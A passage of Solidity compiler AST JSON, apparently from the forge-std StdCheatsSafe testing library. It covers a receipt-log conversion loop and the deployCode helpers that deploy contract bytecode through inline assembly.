memory"}},"id":5085,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"17975:6:3","memberName":"topics","nodeType":"MemberAccess","referencedDeclaration":3756,"src":"17964:17:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"src":"17947:34:3","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[] memory"}},"id":5087,"nodeType":"ExpressionStatement","src":"17947:34:3"},{"expression":{"id":5098,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5088,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"17995:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5090,"indexExpression":{"id":5089,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18000:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"17995:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5091,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"18003:16:3","memberName":"transactionIndex","nodeType":"MemberAccess","referencedDeclaration":3778,"src":"17995:24:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"baseExpression":{"id":5093,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"18035:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5095,"indexExpression":{"id":5094,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18043:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"18035:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5096,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"18046:16:3","memberName":"transactionIndex","nodeType":"MemberAccess","referencedDeclaration":3760,"src":"18035:27:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":5092,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"18022:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":5097,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18022:41:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17995:68:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5099,"nodeType":"ExpressionStatement","src":"17995:68:3"},{"expression":{"id":5110,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5100,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"18077:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5102,"indexExpression":{"id":5101,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18082:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"18077:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5103,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"18085:19:3","memberName":"transactionLogIndex","nodeType":"MemberAccess","referencedDeclaration":3780,"src":"18077:27:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"expression":{"baseExpression":{"id":5105,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"18120:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5107,"indexExpression":{"id":5106,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18128:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"18120:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5108,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"18131:19:3","memberName":"transactionLogIndex","nodeType":"MemberAccess","referencedDeclaration":3762,"src":"18120:30:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":5104,"name":"_bytesToUint","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5429,"src":"18107:12:3","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$_t_uint256_$","typeString":"function (bytes memory) pure returns (uint256)"}},"id":5109,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18107:44:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"18077:74:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5111,"nodeType":"ExpressionStatement","src":"18077:74:3"},{"expression":{"id":5120,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"baseExpression":{"id":5112,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"18165:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"id":5114,"indexExpression":{"id":5113,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18170:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"18165:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory"}},"id":5115,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"18173:7:3","memberName":"removed","nodeType":"MemberAccess","referencedDeclaration":3782,"src":"18165:15:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"baseExpression":{"id":5116,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"18183:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5118,"indexExpression":{"id":5117,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"18191:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"18183:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory"}},"id":5119,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"18194:7:3","memberName":"removed","nodeType":"MemberAccess","referencedDeclaration":3753,"src":"18183:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"18165:36:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5121,"nodeType":"ExpressionStatement","src":"18165:36:3"}]},"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5020,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5017,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17616:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<","rightExpression":{"expression":{"id":5018,"name":"rawLogs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":4994,"src":"17620:7:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog memory[] memory"}},"id":5019,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"17628:6:3","memberName":"length","nodeType":"MemberAccess","src":"17620:14:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"17616:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":5123,"initializationExpression":{"assignments":[5015],"declarations":[{"constant":false,"id":5015,"mutability":"mutable","name":"i","nameLocation":"17613:1:3","nodeType":"VariableDeclaration","scope":5123,"src":"17605:9:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5014,"name":"uint256","nodeType":"ElementaryTypeName","src":"17605:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":5016,"nodeType":"VariableDeclarationStatement","src":"17605:9:3"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":5022,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"17636:3:3","subExpression":{"id":5021,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5015,"src":"17636:1:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5023,"nodeType":"ExpressionStatement","src":"17636:3:3"},"nodeType":"ForStatement","src":"17600:612:3"},{"expression":{"id":5124,"name":"logs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5005,"src":"18228:4:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog memory[] memory"}},"functionReturnParameters":5000,"id":5125,"nodeType":"Return","src":"18221:11:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"rawToConvertedReceiptLogs","nameLocation":"17375:25:3","parameters":{"id":4995,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4994,"mutability":"mutable","name":"rawLogs","nameLocation":"17424:7:3","nodeType":"VariableDeclaration","scope":5127,"src":"17401:30:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog[]"},"typeName":{"baseType":{"id":4992,"nodeType":"UserDefinedTypeName","pathNode":{"id":4991,"name":"RawReceiptLog","nameLocations":["17401:13:3"],"nodeType":"IdentifierPath","referencedDeclaration":3763,"src":"17401:13:3"},"referencedDeclaration":3763,"src":"17401:13:3","typeDescriptions":{"typeIdentifier":"t_struct$_RawReceiptLog_$3763_storage_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog"}},"id":4993,"nodeType":"ArrayTypeName","src":"17401:15:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_RawReceiptLog_$3763_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.RawReceiptLog[]"}},"visibility":"internal"}],"src":"17400:32:3"},"returnParameters":{"id":5000,"nodeType":"ParameterList","parameters":[{"constant":false,"id":4999,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":5127,"src":"17496:19:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_memory_ptr_$dyn_memory_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"},"typeName":{"baseType":{"id":4997,"nodeType":"UserDefinedTypeName","pathNode":{"id":4996,"name":"ReceiptLog","nameLocations":["17496:10:3"],"nodeType":"IdentifierPath","referencedDeclaration":3783,"src":"17496:10:3"},"referencedDeclaration":3783,"src":"17496:10:3","typeDescriptions":{"typeIdentifier":"t_struct$_ReceiptLog_$3783_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog"}},"id":4998,"nodeType":"ArrayTypeName","src":"17496:12:3","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_ReceiptLog_$3783_storage_$dyn_storage_ptr","typeString":"struct StdCheatsSafe.ReceiptLog[]"}},"visibility":"internal"}],"src":"17495:21:3"},"scope":5537,"stateMutability":"pure","virtual":true,"visibility":"internal"},{"id":5159,"nodeType":"FunctionDefinition","src":"18399:416:3","nodes":[],"body":{"id":5158,"nodeType":"Block","src":"18498:317:3","nodes":[],"statements":[{"assignments":[5137],"declarations":[{"constant":false,"id":5137,"mutability":"mutable","name":"bytecode","nameLocation":"18521:8:3","nodeType":"VariableDeclaration","scope":5158,"src":"18508:21:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5136,"name":"bytes","nodeType":"ElementaryTypeName","src":"18508:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5146,"initialValue":{"arguments":[{"arguments":[{"id":5142,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5129,"src":"18560:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5140,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"18549:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5141,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"18552:7:3","memberName":"getCode","nodeType":"MemberAccess","referencedDeclaration":12735,"src":"18549:10:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) view external returns (bytes memory)"}},"id":5143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18549:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":5144,"name":"args","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5131,"src":"18567:4:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5138,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"18532:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5139,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"18536:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"18532:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":5145,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18532:40:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"18508:64:3"},{"AST":{"nativeSrc":"18634:79:3","nodeType":"YulBlock","src":"18634:79:3","statements":[{"nativeSrc":"18648:55:3","nodeType":"YulAssignment","src":"18648:55:3","value":{"arguments":[{"kind":"number","nativeSrc":"18663:1:3","nodeType":"YulLiteral","src":"18663:1:3","type":"","value":"0"},{"arguments":[{"name":"bytecode","nativeSrc":"18670:8:3","nodeType":"YulIdentifier","src":"18670:8:3"},{"kind":"number","nativeSrc":"18680:4:3","nodeType":"YulLiteral","src":"18680:4:3","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"18666:3:3","nodeType":"YulIdentifier","src":"18666:3:3"},"nativeSrc":"18666:19:3","nodeType":"YulFunctionCall","src":"18666:19:3"},{"arguments":[{"name":"bytecode","nativeSrc":"18693:8:3","nodeType":"YulIdentifier","src":"18693:8:3"}],"functionName":{"name":"mload","nativeSrc":"18687:5:3","nodeType":"YulIdentifier","src":"18687:5:3"},"nativeSrc":"18687:15:3","nodeType":"YulFunctionCall","src":"18687:15:3"}],"functionName":{"name":"create","nativeSrc":"18656:6:3","nodeType":"YulIdentifier","src":"18656:6:3"},"nativeSrc":"18656:47:3","nodeType":"YulFunctionCall","src":"18656:47:3"},"variableNames":[{"name":"addr","nativeSrc":"18648:4:3","nodeType":"YulIdentifier","src":"18648:4:3"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":5134,"isOffset":false,"isSlot":false,"src":"18648:4:3","valueSize":1},{"declaration":5137,"isOffset":false,"isSlot":false,"src":"18670:8:3","valueSize":1},{"declaration":5137,"isOffset":false,"isSlot":false,"src":"18693:8:3","valueSize":1}],"id":5147,"nodeType":"InlineAssembly","src":"18625:88:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":5154,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5149,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5134,"src":"18731:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":5152,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"18747:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":5151,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"18739:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5150,"name":"address","nodeType":"ElementaryTypeName","src":"18739:7:3","typeDescriptions":{}}},"id":5153,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18739:10:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"18731:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465706c6f79436f646528737472696e672c6279746573293a204465706c6f796d656e74206661696c65642e","id":5155,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"18751:56:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_a8fe98dd1d450e91397ea844d0b9cef01528a963df7b8ac4b93b8aa3ef69cfce","typeString":"literal_string \"StdCheats deployCode(string,bytes): Deployment failed.\""},"value":"StdCheats deployCode(string,bytes): Deployment failed."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_a8fe98dd1d450e91397ea844d0b9cef01528a963df7b8ac4b93b8aa3ef69cfce","typeString":"literal_string \"StdCheats deployCode(string,bytes): Deployment failed.\""}],"id":5148,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"18723:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":5156,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18723:85:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5157,"nodeType":"ExpressionStatement","src":"18723:85:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deployCode","nameLocation":"18408:10:3","parameters":{"id":5132,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5129,"mutability":"mutable","name":"what","nameLocation":"18433:4:3","nodeType":"VariableDeclaration","scope":5159,"src":"18419:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5128,"name":"string","nodeType":"ElementaryTypeName","src":"18419:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":5131,"mutability":"mutable","name":"args","nameLocation":"18452:4:3","nodeType":"VariableDeclaration","scope":5159,"src":"18439:17:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5130,"name":"bytes","nodeType":"ElementaryTypeName","src":"18439:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"18418:39:3"},"returnParameters":{"id":5135,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5134,"mutability":"mutable","name":"addr","nameLocation":"18492:4:3","nodeType":"VariableDeclaration","scope":5159,"src":"18484:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5133,"name":"address","nodeType":"ElementaryTypeName","src":"18484:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"18483:14:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5185,"nodeType":"FunctionDefinition","src":"18821:367:3","nodes":[],"body":{"id":5184,"nodeType":"Block","src":"18901:287:3","nodes":[],"statements":[{"assignments":[5167],"declarations":[{"constant":false,"id":5167,"mutability":"mutable","name":"bytecode","nameLocation":"18924:8:3","nodeType":"VariableDeclaration","scope":5184,"src":"18911:21:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5166,"name":"bytes","nodeType":"ElementaryTypeName","src":"18911:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":5172,"initialValue":{"arguments":[{"id":5170,"name":"what","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5161,"src":"18946:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":5168,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"18935:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5169,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"18938:7:3","memberName":"getCode","nodeType":"MemberAccess","referencedDeclaration":12735,"src":"18935:10:3","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) view external returns (bytes memory)"}},"id":5171,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"18935:16:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"18911:40:3"},{"AST":{"nativeSrc":"19013:79:3","nodeType":"YulBlock","src":"19013:79:3","statements":[{"nativeSrc":"19027:55:3","nodeType":"YulAssignment","src":"19027:55:3","value":{"arguments":[{"kind":"number","nativeSrc":"19042:1:3","nodeType":"YulLiteral","src":"19042:1:3","type":"","value":"0"},{"arguments":[{"name":"bytecode","nativeSrc":"19049:8:3","nodeType":"YulIdentifier","src":"19049:8:3"},{"kind":"number","nativeSrc":"19059:4:3","nodeType":"YulLiteral","src":"19059:4:3","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"19045:3:3","nodeType":"YulIdentifier","src":"19045:3:3"},"nativeSrc":"19045:19:3","nodeType":"YulFunctionCall","src":"19045:19:3"},{"arguments":[{"name":"bytecode","nativeSrc":"19072:8:3","nodeType":"YulIdentifier","src":"19072:8:3"}],"functionName":{"name":"mload","nativeSrc":"19066:5:3","nodeType":"YulIdentifier","src":"19066:5:3"},"nativeSrc":"19066:15:3","nodeType":"YulFunctionCall","src":"19066:15:3"}],"functionName":{"name":"create","nativeSrc":"19035:6:3","nodeType":"YulIdentifier","src":"19035:6:3"},"nativeSrc":"19035:47:3","nodeType":"YulFunctionCall","src":"19035:47:3"},"variableNames":[{"name":"addr","nativeSrc":"19027:4:3","nodeType":"YulIdentifier","src":"19027:4:3"}]}]},"documentation":"@solidity memory-safe-assembly","evmVersion":"shanghai","externalReferences":[{"declaration":5164,"isOffset":false,"isSlot":false,"src":"19027:4:3","valueSize":1},{"declaration":5167,"isOffset":false,"isSlot":false,"src":"19049:8:3","valueSize":1},{"declaration":5167,"isOffset":false,"isSlot":false,"src":"19072:8:3","valueSize":1}],"id":5173,"nodeType":"InlineAssembly","src":"19004:88:3"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_address","typeString":"address"},"id":5180,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5175,"name":"addr","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5164,"src":"19110:4:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"BinaryOperation","operator":"!=","rightExpression":{"arguments":[{"hexValue":"30","id":5178,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"19126:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":5177,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"19118:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":5176,"name":"address","nodeType":"ElementaryTypeName","src":"19118:7:3","typeDescriptions":{}}},"id":5179,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"19118:10:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"19110:18:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473206465706c6f79436f646528737472696e67293a204465706c6f796d656e74206661696c65642e","id":5181,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"19130:50:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_f6ca2d254da27f2f7b444314e77be236e782a4d81876827dbe8fe7dcea90b371","typeString":"literal_string \"StdCheats deployCode(string): Deployment failed.\""},"value":"StdCheats deployCode(string): Deployment failed."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_f6ca2d254da27f2f7b444314e77be236e782a4d81876827dbe8fe7dcea90b371","typeString":"literal_string \"StdCheats deployCode(string): Deployment 